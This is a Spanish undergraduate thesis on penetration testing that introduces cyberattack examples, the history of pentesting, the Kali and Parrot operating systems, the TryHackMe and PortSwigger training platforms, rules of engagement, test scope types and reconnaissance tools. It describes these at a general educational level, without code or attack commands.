Escuela Superior
de Ingenieria y Tecnhologia

Universidad de La Laguna

Trabajo de Fin de Grado

Grado en Ingenieria Informatica

Explotacion de Técnicas en Red Team

Exploitation of Red Team Techniques

Cristopher Manuel Afonso Mora

La Laguna, 4 de mayo de 2024



D. Juan Carlos Pérez Darias profesor Titular de Universidad adscrito al Departamento
de Fisica de la Universidad de La Laguna, como tutor

CERTIFICA

Que la presente memoria titulada:

“Explotacion de Técnicas en Red Team”

Ha sido realizada bajo su direccién por D. Cristopher Manuel Afonso Mora con D.N.I.
51202938Q

Y para que asi conste, en cumplimiento de la legislacién vigente y a los efectos
oportunos firman la presente en La Laguna a 18 de abril de 2024



Agradecimientos

Quiero agradecer a toda mi familia, en especial a mi madre y mi hermana
mayor, que en toda mi vida me han apoyado en todo lo que he hecho, en
especial en mi trayecto en la carrera, y a mis compaineros de carrera por
apoyarme sobre todo en los momentos mas dificiles del grado.



Licencia

@08

© Esta obra esta bajo una licencia de Creative Commons
Reconocimiento-NoComercial 4.0 Internacional.



Resumen

Desde que nacio la computacion, el uso de los ordenadores en nuestras vidas ha
ido evolucionando y aumentando constantemente, pero pese a la gran cantidad de
beneficios que conllevan y traen consigo, las consecuencias podrian ser nefastas para
todo individuo que use un equipo informatico indebidamente, o su uso se vea afectado por
terceros con intenciones maliciosas, por ende, la ciberseguridad juega un papel critico
porque tanto individuos como las organizaciones necesitan que sus sistemas jamas
realicen acciones no previstas. Dado que es necesario asegurar los bienes digitales de los
individuos y las organizaciones, las pruebas de intrusion o pentesting, cada vez se estan
volviendo mas vitales en cualquier en los planes de seguridad de las organizaciones,
porque su objetivo es identificar vulnerabilidades y puntos débiles en sistemas o redes.
Nuestro proyecto profundiza en todo lo que conlleva la realizacion de una prueba de
intrusion, desde la fases que lo componen hasta las herramientas empleadas en cada una
de ellas.

El presente trabajo empieza justificando la relevancia de la ciberseguridad hoy en
dia y por qué es una tendencia en aumento, nombrando varias de sus disciplinas para
hacernos conscientes de su alcance, pero destacando la importancia de métodos activos
en ella, como el pentesting, para asegurar sistemas informaticos contra ataques de
cualquier indole. Ademas, tras entrar en detalle sobre los sistemas operativos y
plataformas usadas en el transcurso del trabajo, realizaremos un analisis exhaustivo de
las diferentes fases que se abordan en una prueba de intrusion y nombraremos algunas
de las las diferentes herramientas mas conocidas relacionadas con cada una de ellas.

El nucleo de nuestro proyecto radica en la seguridad de los equipos informaticos,
dado el rol que cumplen sistemas informaticos criticos en infraestructuras digitales
empresariales, por ende, empleamos el uso de la plataforma TryHackMe para aprender y
poner en practica los conocimientos necesarios para realizar pruebas de intrusion Yy,
obtener destreza y soltura en este ambito. Para poder mejorar la seguridad de los equipos
de una organizacion, se abordaron una serie de laboratorios que simulaban casos reales
en dicha plataforma, donde tuvimos la oportunidad de repetir constantemente escenarios
donde tuvimos que identificar y explotar vulnerabilidades como lo son las credenciales
débiles de usuarios, o servicios desactualizados y mal configurados.

También exploramos la sequridad de las aplicaciones web, debido a factores como
el rol vital que desempefian en la gran mayoria de organizaciones presentes en internet, y
la cantidad de vulnerabilidades que puede presentar una aplicacion web mal configurada,
de las cuales, varias de ellas son relativamente faciles de explotar y de gran rentabilidad
para ciberdelincuentes. Para poner en practica conocimientos de vulnerabilidades web, se
ha empleado el uso de mas de cuarenta laboratorios en la plataforma Web Security
Academy que cubren la explotacion de vulnerabilidades como inyecciones SQL, Path
Traversal, subida de archivos maliciosos, cross-site request forgery y, server-side request
forgery, que son las vulnerabilidades web en las que mas nos hemos enfocado.

En conclusion, nuestro proyecto tiene como objetivo adquirir el conocimiento y
suficiente experiencia practica en las distintas facetas de las pruebas de intrusion,
centrando gran parte de nuestros esfuerzos en vulnerabilidades que afectan a las
aplicaciones web, teniendo en cuenta que al valorar conjuntamente todas las tareas que
hemos realizado a lo largo del trabajo, que van desde analizar las fases de un pentesting,
las herramientas vinculadas a cada fase, y poner el conocimiento en practica al resolver
maquinas que simulan escenarios reales, obtenemos que el resultado final de nuestro
trabajo es la adquisicion completa de unas bases de conocimiento solidas en el pentesting

Palabras clave: TryHackMe, Web Security Academy, Vulnerabilidades, Pentesting,
Seguridad web, exploit.



Abstract

Since the birth of computing, the use of computers in our lives has been constantly
evolving and increasing, but despite the many benefits they bring with them, the
consequences could be dire for any individual who uses a computer improperly, or its use
is affected by third parties with malicious intent, therefore, cyber security plays a critical
role because individuals and organisations need to ensure that their systems never
perform unintended actions. Given the need to secure the digital assets of individuals and
organisations, penetration testing, or pentesting, is becoming increasingly vital in any
organisation's security plans, because it aims to identify vulnerabilities and weaknesses in
systems or networks. Our project delves into everything involved in carrying out a
penetration test, from the phases that make it up to the tools used in each one of them.

This paper begins by justifying the relevance of cybersecurity today and why it is a
growing trend, naming several of its disciplines to make us aware of its scope, but
highlighting the importance of active methods in it, such as pentesting, to secure computer
systems against attacks of any kind. Furthermore, after going into detail about the
operating systems and platforms used in the course of the work, we will carry out an
exhaustive analysis of the different phases involved in a penetration test and nhame some
of the best-known tools related to each of them.

The core of our project lies in the security of computer equipment, given the role
that critical computer systems play in business digital infrastructures, therefore, we
employed the use of the TryHackMe platform to learn and put into practice the necessary
knowledge to perform penetration tests and gain skills and fluency in this area. In order to
improve the security of an organisation's equipment, a series of laboratories simulating
real cases were carried out on this platform, where we had the opportunity to constantly
repeat scenarios where we had to identify and exploit vulnerabilities such as weak user
credentials, or outdated and misconfigured services.

We also explored the security of web applications, due to factors such as the vital
role they play in the vast majority of organisations on the internet, and the number of
vulnerabilities that a misconfigured web application can present, several of which are
relatively easy to exploit and highly profitable for cybercriminals. To put into practice
knowledge of web vulnerabilities, we have employed the use of more than forty labs on the
Web Security Academy platform covering the exploitation of vulnerabilities such as SQL
injections, Path Traversal, malicious file uploads, cross-site request forgery and
server-side request forgery, which are the web vulnerabilites we have focused on the
most.

In conclusion, our project aims to acquire knowledge and sufficient practical
experience in the different facets of penetration testing, focusing much of our efforts on
vulnerabilities affecting web applications, taking into account that by jointly assessing all
the tasks we have performed throughout the work, ranging from analysing the phases of a
pentesting, the tools linked to each phase, and putting the knowledge into practice by
solving machines that simulate real scenarios, we obtain that the end result of our work is
the complete acquisition of a solid knowledge base in pentesting.

Keywords: TryHackMe, Web Security Academy, Vulnerabilities, Pentesting, Web Security,
exploit.
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Capitulo 1 Introduccion y objetivos

Cuando usamos servicios en Internet, en la gran mayoria de los casos, los usuarios
confian ciegamente en los servicios y la seguridad que nos proporcionan las
organizaciones al ofrecernos sus servicios, desde que se protejan los datos bancarios al
realizar compras, pasando por la proteccién y confidencialidad de los datos, asi como de
la disponibilidad continua y sin interrupciones de los servicios que ofrecen.

Desafortunadamente las organizaciones no siempre pueden garantizarnos su
invulnerabilidad frente a posibles ciberataques. A pesar de las multiples ventajas que
presenta la interconexién global y el acceso a informacion y servicios desde cualquier
lugar y en todo momento, la complejidad y heterogeneidad de los sistemas que se usan
para su implantacion hace que éstos presenten errores que son aprovechados por
particulares u organizaciones para hacer dafo a terceros, ya sea con animo de lucro o por
otras motivaciones. En este contexto, podriamos definir el término ciberataque[106] como
un intento por parte de un individuo o grupo de acceder a sistemas de informacion, redes
o datos electrénicos sin autorizacion, con el propdésito de causar dafo, interrupcidn, robo
de informacién o extorsion.

Para poner de manifiesto la relevancia que estos hechos maliciosos tienen en la
sociedad actual, a continuacion se enumeran algunos ejemplos que ilustran la diversidad
y complejidad de algunos ciberataques asi como las amplias consecuencias que pueden
tener en términos de costes econdmicos, impacto operativo y dafios a la reputacion:

e Ataque a Equifax (2017): El ataque a Equifax en 2017 resulté en la filtracion de
informacion personal de 147 millones de personas. Los costes econdmicos directos
incluyen multas y gastos de mitigacion que superaron los mil cuatrocientos millones
de ddlares. Sin embargo, los costes indirectos fueron mucho mayores: la pérdida
de confianza de los consumidores, el dafio a la reputacion de la empresa y el
estrés y la ansiedad de millones de personas preocupadas por el posible uso
indebido de su informacion personal[1][2].

e Ransomware WannaCry (2017): WannaCry fue un ransomware que se propago
rapidamente en mayo de 2017, afect6 a cientos de miles de computadoras en mas
de 150 paises. Utilizé una vulnerabilidad en el sistema operativo Windows para
cifrar archivos y exigir un rescate en Bitcoin para descifrarlos. El coste econémico
se estimé en cientos de millones de dolares, pero los efectos indirectos incluyen la
interrupcién de servicios criticos, como hospitales, que tuvieron que cancelar citas
y procedimientos médicos, poniendo en riesgo la vida de los pacientes[3][4].

e NotPetya (2017): NotPetya, inicialmente disfrazado de ransomware, fue un ataque
que afectd a empresas de todo el mundo en junio de 2017. Este malware se origind
en Ucrania, rapidamente se extendid a través de redes corporativas globales,
causando danos que se estimaron en mas de 10 mil millones de ddlares. Empresas
como Maersk y FedEx sufrieron interrupciones masivas en sus operaciones, lo que
resultd en pérdidas econdémicas significativas y dafos a la reputacion[103].

e Ataque SolarWinds (2020): Este sofisticado ataque afectdé a numerosas agencias
gubernamentales y grandes empresas, destacando la vulnerabilidad de incluso las
entidades mas protegidas. El ataque subray6 la necesidad critica de una mayor
seguridad en la cadena de suministro de software y condujo a nuevas iniciativas y
regulaciones para mejorar la ciberseguridad en sectores publicos y privados[5][6].



e Servicio Publico de Empleo Estatal (2021): EI SEPE sufri6 un ataque de
ransomware que paralizé su sistema informatico durante varios dias, afectando a
mas de 700 oficinas y provocando la interrupcién de servicios esenciales, incluido
el pago de prestaciones por desempleo. Tuvo que destinar muchos recursos a la
recuperacion de sus sistemas y a implementar medidas de seguridad adicionales,
ademas, los beneficiarios experimentaron retrasos en los pagos, causando
dificultades econdémicas a muchas familias[107].

Estos casos no son sino algunos ejemplos que han tenido repercusion mediatica
de ciberataques. Sin embargo, es notorio que todas las organizaciones reciben,
diariamente, intentos de ataques de diferentes caracteristicas. De hecho, no hace falta ser
un experto en ciberseguridad para poder realizar un ciberataque contra una empresa u
individuo debido a la amplia variedad de factores que intervienen en la seguridad
informatica.

Podriamos hacer una clasificacion de las diferentes amenazas en funcién de la
dificultad que plantean para el atacante. Asi un ataque muy comun que no requiere
muchos conocimientos en esta materia son los de Phishing, donde los atacantes envian
correos electronicos que parecen legitimos para engafar a las victimas y hacer que
revelen informacioén sensible como contrasenas o datos financieros.

Otro tipo de ataque que no requiere mucho conocimiento en informatica son
ataques de ingenieria social, aqui los atacantes manipulan a las victimas para obtener
informacion confidencial usando llamadas telefonicas, mensajes de texto o interacciones
en persona.

Entrando en el terreno de ataques mas elaborados, tenemos los clasificados como
malware, que incluye virus, gusanos, troyanos y ransomware. Estos consisten en
programas maliciosos que pueden infectar los sistemas y causar muchos tipos de dafios,
desde la eliminacion de datos hasta el cifrado de archivos para pedir un rescate.

También suelen usarse ataques de denegacion de servicios (DDos o DoS) cuyo
objetivo es sobrecargar los sistemas de una organizacion con una gran cantidad de
solicitudes para saturar los servicios, dejandolos inaccesibles, o los ataques de fuerza
bruta que usan software para intentar numerosas combinaciones de contrasefias para
acceder a las cuentas.

Por ultimo y para acabar de nombrar tipos de ataques, tenemos los ataques
Man-in-the-Middle donde los atacantes interceptan la comunicacién entre dos partes para
espiar o modificar informacidn intercambiada, o ataques usando piezas de software a
medida (exploits) para aprovecharse de fallos o debilidades de los sistemas informaticos
(vulnerabilidades) que la organizacion utiliza, que abarcan desde sistemas operativos
hasta dispositivos de red. También podriamos destacar aquellas acciones maliciosas
indirectas, en las que se compromete a la organizacién a través de terceros, como
pueden ser los ataques a la cadena de suministros o socios comerciales para acceder a la
red de la empresa objetivo. Por otro lado, pero no menos importante, tenemos los ataques
de estado, que buscan desestabilizar paises o regiones.

Debido a todos los motivos nombrados anteriormente, es imprescindible que las
organizaciones y particulares se protejan de todos estos ataques, y debido a esta
necesidad nace la ciberseguridad, que es de crucial importancia en nuestros dias. Esta
disciplina involucra un amplio conjunto de areas desde la parte social hasta los aspectos
mas técnicos de prevencion y defensa.



Su importancia radica en la proteccion de datos, la prevencion de ataques, la
continuidad operativa y la confianza del usuario, entre otros aspectos cruciales. Asi,
podriamos definir la ciberseguridad como la practica de proteger sistemas, redes y
programas informaticos de ataques maliciosos. La proteccion de informacion sensible es
uno de los pilares de la ciberseguridad ya que la informacion se ha convertido en uno de
los activos mas valiosos de las organizaciones. Como consecuencia, los datos
personales, financieros, empresariales y gubernamentales requieren proteccion constante
para evitar robos y usos indebidos.

Ademas, la ciberseguridad juega un papel crucial en la prevencion de ataques
cibernéticos debido a que con el aumento de incidentes como el phishing, el malware 'y el
ransomware, es fundamental implementar medidas preventivas que eviten estos ataques
y mitiguen sus efectos. Los dafios econdmicos y reputacionales derivados de tales
ataques pueden ser devastadores para cualquier entidad.

Existen numerosos motivos por los que una organizacion necesita invertir en
seguridad aparte de los recién nombrados. Estos van desde asegurar la integridad de sus
sistemas y datos para que no sufran alteraciones no autorizadas, o tener una alta
disponibilidad en sus servicios evitando una inesperada interrupcion de los mismos por
parte de terceros (sobre todo en negocios con servicios criticos como son la sanidad o la
banca), pasando por la necesidad de la organizacién de cumplir la normativa vigente en
su lugar de implantacion, o simplemente para lograr una mayor confianza en el usuario o
la proteccion de infraestructuras criticas, como son las compafiias de generacion y
transporte eléctrico o los sistemas de abastecimiento de agua.

La inversion en seguridad debe ser continua en el tiempo para que las
organizaciones permanezcan protegidas frente a ataques externos. Por ejemplo, los
avances tecnoldgicos traen consigo nuevas amenazas, lo que supone que la implantacion
de un sistema eficiente de seguridad debe considerarse como un desafio constante para
la evolucidén de las organizaciones.

Como se indico previamente, la ciberseguridad es un campo que abarca un amplio
conjunto de disciplinas que. a su vez, estan en constante evolucion, impulsadas por la
necesidad de adaptarse a amenazas emergentes.

Entre las areas mas relevantes de la ciberseguridad, tenemos a la criptografia, que
se encarga de estudiar y aplicar técnicas para proteger la informacion mediante la
codificacion y cifrado. Ademas se usa para asegurar la confidencialidad e integridad de
los datos y para garantizar la autenticidad de los mismos. Otra es la seguridad de redes,
se centra en proteger la infraestructura de red y los datos que circulan a través de ella.

Ademas otras areas que también son de gran relevancia incluyen la informatica
forense que se encarga de recolectar, preservar, analizar y presentar evidencias digitales
de manera que sean aceptables en un tribunal de justicia; la inteligencia de amenazas
que implica la recopilacion y analisis de datos sobre amenazas y actores maliciosos para
anticipar y prevenir ataques vy, la respuesta ante incidentes, que es el proceso de manejar
y mitigar los efectos de incidentes de seguridad.

El avance de la tecnologia asi como los cambios en los paradigmas de gestion de
las organizaciones han traido consigo el desarrollo de nuevas areas como son la
sequridad en la nube cuya mision es proteger datos y aplicaciones que se encuentran en
entornos de computacion en la nube, la seguridad de dispositivos méviles para abordar la
proteccion de dispositivos moviles como smariphones y tablets y la informacion que
contengan, o la seguridad en internet de las cosas (loT) abarcando desde la proteccion de
dispositivos y redes que estan conectados a internet y no son ordenadores tradicionales,
como sensores, camaras y dispositivos domeésticos inteligentes.



Por ultimo, existe un area especifica dentro de la ciberseguridad, que es en la que
nos vamos a centrar en el presente trabajo es el de la seguridad en redes y aplicaciones
la cual se dedica a proteger los sistemas operativos y las aplicaciones contra ataques y
vulnerabilidades. Esto incluye la gestion de parches, el analisis de vulnerabilidades, la
realizacion de pruebas de penetracion o pentesting y el desarrollo seguro de software.
Concretamente, en el presente trabajo nos centraremos en la realizacion de pentesting o
también conocido como tareas de red team.

1.1 Pruebas de intrusion. Estado del Arte

En el presente trabajo nos centraremos en el enfoque ofensivo de la ciberseguridad,
también conocido como el equipo encargado de la simulacién de ataques. Este grupo de
profesionales se dedica a evaluar la seguridad de los sistemas informaticos mediante la
realizacion de pruebas de intrusion o auditorias de seguridad.

Las pruebas de intrusion, también conocida como pentesting, usadas en auditorias de
seguridad principalmente, son evaluaciones exhaustivas que simulan ataques reales para
identificar vulnerabilidades en los sistemas y redes de una organizacion. Estos
procedimientos implican el uso de técnicas y herramientas que un atacante
malintencionado podria emplear, con el objetivo de descubrir debilidades antes de que
puedan ser explotadas por actores externos. Al identificar y corregir estas
vulnerabilidades, las organizaciones pueden fortalecer su postura de seguridad y proteger
mejor sus activos criticos.

Historia y evolucion del Pentesting

La historia del pentesting, o pruebas de intrusion, se remonta a las primeras etapas
de la informatica y la ciberseguridad, su evolucién ha sido marcada por el desarrollo de
tecnologias, el aumento de las amenazas cibernéticas y la creciente necesidad de
proteger la informacion y los sistemas criticos.

Hoy en dia, es una practica esencial en la ciberseguridad moderna, utilizada por
organizaciones de todo el mundo para identificar y mitigar vulnerabilidades antes de que
puedan ser explotadas por atacantes malintencionados. Su evolucion refleja el continuo
esfuerzo por mantenerse un paso adelante en la proteccion de la informacién y la
infraestructura critica en un mundo cada vez mas digitalizado.

Durante las décadas de 1960 y 1970 se dieron sus primeros pasos, ya que el MIT y
otros centros académicos comenzaron a explorar la seguridad de los sistemas
informaticos. En 1967, un grupo de investigadores del MIT llevo a cabo el primer "ataque”
de prueba documentado contra un sistema informatico, destacando la importancia de
identificar y corregir vulnerabilidades|[8].

En la década de 1980 el concepto de pentesting comenzé a formalizarse, ya que
en 1986, el Instituto de Ingenieria de Software de Carnegie Mellon publicé el primer
"Manual del Equipo Rojo", un documento que detallaba técnicas y procedimientos para
realizar evaluaciones de seguridad ofensivas. Durante este tiempo, el aumento de
ataques cibernéticos y creacion de virus informaticos crearon una mayor necesidad de
emplear pruebas de intrusion.

Con la expansion de Internet en los afos 90, la superficie de ataque crecid
significativamente, y también lo hizo la demanda de pentesting, esta década vio la
creacion de algunas de las primeras herramientas de pentesting automatizadas, como
SATAN (Security Administrator Tool for Analyzing Networks) en 1995. Las empresas
comenzaron a contratar a pentesters para evaluar la seguridad de sus redes y sistemas,
marcando el inicio del pentesting como una profesién reconocida.



La década del 2000 trajo consigo una mayor profesionalizacién del pentesting
porque organizaciones como el Open Web Application Security Project (OWASP) vy la
creacion de certificaciones como Certified Ethical Hacker (CEH) en 2003, establecieron
estandares para la industria, ademas, las herramientas de pentesting se volvieron mas
sofisticadas y accesibles, permitiendo a los profesionales realizar evaluaciones mas
efectivas.

El pentesting continu6é evolucionando en la década de 2010 en adelante con el
avance de tecnologias como la inteligencia artificial y el machine learning, que
comenzaron a integrarse en sus herramientas, sumado a la creciente complejidad de los
sistemas informaticos y las amenazas cibernéticas llevaron a una mayor especializacion
en el campo, con pentesters dedicados hacia areas como aplicaciones web, redes
inalambricas y sistemas industriales.

1.2 Objetivos del trabajo

En este contexto, el presente trabajo tiene como objetivo el desarrollo de
habilidades en materia de ciberseguridad ofensiva, concretamente en el ambito del
pentesting.

En primer lugar, se abordaran los fundamentos de la ciberseguridad ofensiva, no
s6lo la comprension de los principios basicos de la ciberseguridad, sino también el
conocimiento profundo de los diferentes tipos de amenazas y ataques cibernéticos a los
que se enfrentan las organizaciones.

El aprendizaje de las herramientas de pentesting es otro pilar fundamental de este
trabajo, que son de gran ayuda para la identificacion y explotacion de vulnerabilidades en
sistemas informaticos. Ademas, es importante saber trabajar con sistemas operativos
disefiados especificamente para pentesting, como Kali Linux o Parrot OS, que ofrecen un
entorno optimizado para llevar a cabo pruebas de penetracion.

Desde un punto de vista practico se pretende analizar las diferentes fases de un
pentest, desde la recopilacion de informacién y el analisis de vulnerabilidades, hasta la
explotacion y la elaboracion de informes detallados. El desarrollo de habilidades de
analisis y reporte permitira no solo identificar y explotar vulnerabilidades, sino también
comunicar sus hallazgos de manera clara y efectiva.

Finalmente, el trabajo pone un fuerte énfasis en la aplicacion practica de los
conocimientos aprendidos. Para ello, se plantea la resolucion de casos practicos que
involucren maquinas con vulnerabilidades, simulando situaciones reales que podrian
encontrarse en un entorno profesional.



Capitulo 2 Entorno de trabajo

En este trabajo se han usado dos maquinas, una maquina virtual con un sistema
operativo Kali Linux[9], y otro ordenador con un sistema operativo base Parrot OS[10],
ambas maquinas han sido usadas para tratar de solucionar los ejercicios practicos de
maquinas con vulnerabilidades que simulen casos reales.

No se ha seguido ningun criterio a la hora de elegir una de ellas para solucionar
ejercicios concretos dado que todas las herramientas usadas estaban igualmente
presente en ambos sistemas operativos, se han elegido estos dos sistemas operativos
para este trabajo debido a que son actualmente dos de los sistemas operativos mas
utilizados por pentesters para realizar sus tareas. Esto ha permitido evaluar las dos
plataformas y comprobar las ventajas e inconvenientes de cada una de ellas.

2.1 Uso de sistemas operativos Parrot OS y Kali Linux

Parrot OS y Kali Linux son dos sistemas operativos basados en Debian, disefiados
especificamente para la seguridad informatica, pruebas de penetracion y analisis forense
digital. Aunque comparten algunas similitudes, también tienen diferencias importantes que
los hacen unicos en sus respectivos enfoques y funcionalidades.

Kali Linux esta disenado por Offensive Security y fue creado principalmente para
pruebas de penetracidon y auditoria de seguridad. Es ampliamente utilizado por
profesionales de la seguridad informatica y hackers éticos. Tiene una amplia coleccion de
herramientas preinstaladas, enfocadas en diversas tareas de seguridad como pruebas de
penetracién, analisis de vulnerabilidades, ingenieria inversa, y analisis forense. Cuenta
con actualizaciones frecuentes, soporte para virtualizacion, y posee una amplia
documentacion y comunidad activa[9].

Parrot OS también esta disenado para la seguridad y pruebas de penetracion, pero
tiene un enfoque mas amplio que incluye herramientas para la privacidad y desarrollo de
software, viene con una amplia gama de herramientas de seguridad preinstaladas para
pruebas de penetracion, analisis de vulnerabilidades, y analisis forense e incluye
caracteristicas y herramientas orientadas a la privacidad, como navegadores seguros y
herramientas para mantener el anonimato en linea.

2.2 Plataforma TryHackMe

TryHackMe[11] (en adelante THM) es una plataforma en linea disehada para la
formacion en ciberseguridad y hacking ético a través de laboratorios practicos y ejercicios
interactivos. Es popular entre principiantes y profesionales de la seguridad informatica que
desean mejorar sus habilidades de una manera estructurada y practica.

La plataforma THM ha sido usada principalmente para realizar ejercicios de
pruebas de penetracién de principio a fin, desde el reconocimiento y escaneo de
maquinas que presentan vulnerabilidades, pasando por la explotacion de las
vulnerabilidades, hasta llegar a las fases de post-explotacién y reporte o documentacion.

Entre sus principales caracteristicas, tenemos laboratorios interactivos donde los
usuarios pueden practicar ataque y defensa de maquinas en un entorno seguro con
instrucciones detalladas para ayudar a los usuarios en cada paso. Ademas, existen rutas
de aprendizaje organizadas en niveles de dificultad y con certificados, cada una cubriendo
un tipo de contenido especifico como pruebas de penetracion o redes.
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2.3 Plataforma Web Security Academy

PortSwiggeri12] es una empresa reconocida en el ambito de la seguridad
informatica, especialmente conocida por su herramienta Burp Suite[13], una de las mas
populares para pruebas de penetracion y analisis de seguridad web. Burp Suite es usada
conjuntamente con la herramienta FoxyProxy[15] la cual es un proxy[123] que redirige el
trafico web a Burp Suite para que esta herramienta pueda realizar su trabajo. Ademas de
desarrollar Burp Suite, PortSwigger también ofrece recursos educativos a través de su
academia, la Web Security Academy, que se ha convertido en una referencia importante
para el aprendizaje de seguridad web.

Web Security Academy de PortSwigger es una plataforma educativa gratuita que
proporciona recursos para aprender sobre seguridad web. Esta disefiada tanto para
principiantes como para profesionales que desean profundizar en el conocimiento de la
seguridad de aplicaciones web.

PortSwigger y su Web Security Academy son recursos valiosos para aprender y
practicar la seguridad de aplicaciones web. Mientras que Burp Suite es una herramienta
poderosa y ampliamente utilizada por profesionales de seguridad, la Web Security
Academy proporciona la formacion necesaria para utilizar esa herramienta de manera
efectiva y comprender profundamente los problemas de seguridad web. Con su enfoque
en la practica y la teoria, PortSwigger se ha establecido como un lider en la formacion de
la proxima generacion de expertos en seguridad web.

Entre las caracteristicas de Web Security Academy, hay que destacar que combina
teoria con ejercicios practicos, ofreciendo una comprension profunda de diversas
vulnerabilidades y técnicas de ataque, los contenidos se mantienen actualizados, los
laboratorios ofrecen un entorno controlado donde los usuarios pueden practicar ataques y
defensas en aplicaciones web reales, cubren una amplia gama de vulnerabilidades y
problemas de seguridad como inyecciones SQL, Cross-Site Request Forgery, Server-Side
Request Forgery, etc. También ofrecen rutas de aprendizaje con estructuras modulares
para guiar al usuario paso a paso.

La plataforma Web Security Academy ha sido principalmente usada para
profundizar en los conocimientos de ciertas vulnerabilidades web concretas, aprender
cdmo se podrian explotar de forma mas eficiente y aumentar el conocimiento de la
herramienta Burp Suite Community Edition[13], asi como su manejo para poder realizar la
explotacion de dichas vulnerabilidades usando dicha herramienta para agilizar los
ejercicios de pruebas de penetracion.

11



Capitulo 3 Fases del pentesting y
herramientas de apoyo

El pentesting, o pruebas de penetracion, es un proceso sistematico y estructurado
para identificar y explotar vulnerabilidades en un sistema, aplicacién o red con el objetivo
de mejorar la seguridad. Este proceso se divide en varias fases, cada una de las cuales
es crucial para el éxito del pentest y que en su conjunto proporcionan un enfoque
sistematico para identificar, explotar y remediar vulnerabilidades, ayudando a las
organizaciones a fortalecer su postura de seguridad y protegerse contra posibles ataques.
A continuacion, se presentan las fases del pentesting y el objetivo de cada una de ellas.

3.1 Fase previa: Definicion de los objetivos de la
auditoria

Antes de poder realizar legalmente una auditoria de seguridad en cualquier
entidad, es esencial establecer los requisitos necesarios de dicha auditoria. Es
fundamental la definicién precisa del objetivo que se quiere lograr con el resultado de la
auditoria para evitar esfuerzos innecesarios y asegurar que todas las actividades persigan
los objetivos establecidos.

También es necesario definir el alcance de la auditoria, esto implica especificar qué
sistemas, aplicaciones, redes y componentes seran evaluados en el pentest. Ademas, se
deben establecer las limitaciones de la auditoria: cualquier sistema, red, aplicacién o
componente que esté fuera del alcance del pentest debe ser identificado.

Otro aspecto importante es la definicién de los criterios de éxito, deben ser claros y
medibles para evaluar adecuadamente el éxito de la auditoria, los resultados de la
auditoria deben ser tangibles, proporcionando informacion util que pueda ser utilizada
para mejorar la postura de seguridad de la organizacion.

Finalmente, la planificacién de contingencias es un elemento vital, tras identificar
posibles amenazas a la seguridad de la organizacién como resultado de la auditoria, es
importante que la entidad pueda planificar planes de contingencia para mitigar posibles
riesgos en caso de un ciberataque que involucre las vulnerabilidades halladas.

3.1.1 Creacién del documento de las Reglas del Compromiso

El documento de las Reglas de Compromiso[16] (Rules of Engagement, en
adelante ROE), es un documento que autoriza a un pentester a realizar una auditoria de
seguridad, definiendo los objetivos a los que se aplica el compromiso y los
comportamientos/técnicas que tendra que seguir para realizar la auditoria.

El ROE[14] es un documento que se crea en las etapas iniciales de un compromiso
de pruebas de penetracion. Este documento consta de tres secciones principales, que son
las responsables en ultima instancia de decidir como se lleva a cabo el encargo.

Las tres secciones principales de un documento ROE son los permisos, el alcance
de la auditoria y las reglas. En la primera parte, se da permiso explicito para llevar a cabo
la auditoria, esto es esencial para proteger legalmente a las personas y organizaciones
que realizan la auditoria de seguridad debido a la naturaleza de su trabajo.
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En la segunda parte, se especificaran los objetivos del compromiso y, qué sistemas
informaticos y elementos de los mismos quedarian fuera del alcance de la auditoria. Se
establecera si el objetivo de la auditoria es un unico equipo, varios equipos, una red
entera, unicamente dos aplicaciones de dos equipos dentro de una red, etc. Y, por ultimo,
en la tercera parte, se definiran las técnicas que los pentesters tendran autorizacién de
emplazar durante el compromiso y qué técnicas estaran prohibidas.

3.1.2 Tipo de alcance

Existen tres ambitos principales a la hora de probar una aplicacibn o un
servicio[17]. El conocimiento que se nos otorgue como pentesters previamente antes de
realizar la auditoria, determinara el nivel de pruebas que se realizaran en el compromiso.
A continuacion, procederemos a explicar cada uno de los tipos de alcance que existen:

e Prueba de caja negra (Black-Box Testing): Se trata de un proceso de pruebas de
alto nivel en el que el evaluador no recibe ninguna informaciéon sobre el
funcionamiento interno de la aplicacion o el servicio; actua como un usuario normal
que comprueba la funcionalidad y la interaccién de la aplicacion o el software. Las
pruebas de caja negra aumentan el tiempo dedicado a la fase de recopilacién de
informacion y enumeracion para comprender la superficie de ataque del objetivo.

e Prueba de caja blanca (White-Box Testing): En este caso, el probador tendra
pleno conocimiento de la aplicacion y su comportamiento esperado, y requiere mas
tiempo que las pruebas de caja negra. El conocimiento completo en un escenario
de pruebas de caja blanca proporciona un enfoque de pruebas que garantiza que
se pueda validar toda la superficie de ataque.

e Prueba de caja gris (Grey-Box Testing): Este proceso de pruebas es el mas
popular para las pruebas de penetracion. Se trata de una combinacion de los
procesos de prueba de caja negra y caja blanca, en la que el evaluador tendra un
conocimiento limitado de los componentes internos de la aplicacion o del software.
Esta estrategia es la que se ha seguido en los casos abordados en el presente
trabajo.

3.2 Fase uno: Reconocimiento

El reconocimiento puede definirse como un estudio preliminar para recabar
informacion sobre un objetivo. Es el primer paso de la Cadena de Muerte Unificada[18]
para conseguir un punto de apoyo inicial en un sistema.

La fase de reconocimiento es la primera y una de las mas cruciales en una
auditoria de seguridad. Esta fase implica recopilar informacion del objetivo (una red,
sistema, aplicacion, etc.) para planificar los siguientes pasos de manera mas efectiva.
Esto permite al pentester entender mejor su objetivo e identificar posibles puntos de
entrada.

Una correcta implementacion de esta fase, permite obtener una vision completa de
la superficie de ataque, identificando todos los posibles puntos de entrada que un
atacante podria explotar debido a que nos ofrece un contexto sobre el entorno objetivo,
incluyendo tecnologia utilizada, configuraciones, y posibles debilidades que pueden ser
explotadas mas adelante.

La fase de reconocimiento generalmente se divide en dos categorias que son el
reconocimiento pasivo 'y reconocimiento activo.
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Reconocimiento pasivo

En el reconocimiento pasivo, se confia en el conocimiento disponible publicamente.
Es el conocimiento al que se puede acceder a partir de recursos disponibles publicamente
sin entrar directamente en contacto con el objetivo.

El reconocimiento pasivo incluye muchas actividades, por ejemplo, buscar registros
DNS de un dominio en un servidor DNS publico, consultar anuncios de empleo
relacionados con el sitio web objetivo, o leer articulos de noticias sobre la empresa
objetivo. Para obtener esa informacion podemos hacer uso de herramientas de
reconocimiento pasivo como whois[19], Google Dorks[20][21], dig[22], nslookup[23],
shodan[24], DNSDumpster{25], Maltego[26][27] y theHarvester{28].

Reconocimiento activo

El reconocimiento activo requiere establecer algun tipo de contacto con el objetivo.
Este contacto puede ser una llamada telefénica o una visita a la empresa objetivo con el
pretexto de recabar mas informacion, normalmente como parte de la ingenieria social.

Alternativamente, puede ser una conexion directa al sistema objetivo, ya sea
visitando su pagina web o comprobando si su cortafuegos tiene un puerto SSH abierto.
